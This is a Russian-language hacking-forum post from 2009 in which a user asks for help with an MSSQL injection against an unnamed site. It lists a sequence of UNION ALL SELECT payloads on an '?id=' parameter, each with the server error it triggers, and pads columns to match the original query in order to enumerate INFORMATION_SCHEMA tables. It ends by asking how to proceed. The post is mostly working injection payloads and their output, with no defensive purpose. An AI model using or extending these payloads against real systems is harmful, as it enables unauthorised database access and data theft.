Показать сообщение отдельно

  #9113  
Старый 26.09.2009, 18:23
bumerok
Новичок
Регистрация: 25.09.2009
Сообщений: 2
С нами: 8750731

Репутация: 0
По умолчанию

Помогите разобраться с MSSQL injection

Имеем:

SQL
?id=496'

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string ''.

SQL
?id=496+UNION+ALL+SELECT+TOP+1+TABLE_NAME+FROM+INF ORMATION_SCHEMA.TABLES--

Microsoft OLE DB Provider for SQL Server error '80040e14'
All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

SQL
?id=496+UNION+ALL+SELECT+TOP+1+TABLE_NAME,1+FROM+I NFORMATION_SCHEMA.TABLES--

Microsoft OLE DB Provider for SQL Server error '80040e07'
Operand type clash: ntext is incompatible with int

SQL
?id=496+UNION+ALL+SELECT+TOP+1+TABLE_NAME,'a'+FROM +INFORMATION_SCHEMA.TABLES--

Microsoft OLE DB Provider for SQL Server error '80040e14'
All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

добавляем поля пока эта ошибка не пропадет...

SQL
?id=496+UNION+ALL+SELECT+TOP+1+TABLE_NAME,'a',1,2, 3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+INFORMATIO N_SCHEMA.TABLES--

ошибок не дает, но и ничего и не выводит

Подскажите пожалуйста куда дальше рыть, или может я уже где-то туплю?
 
Ответить с цитированием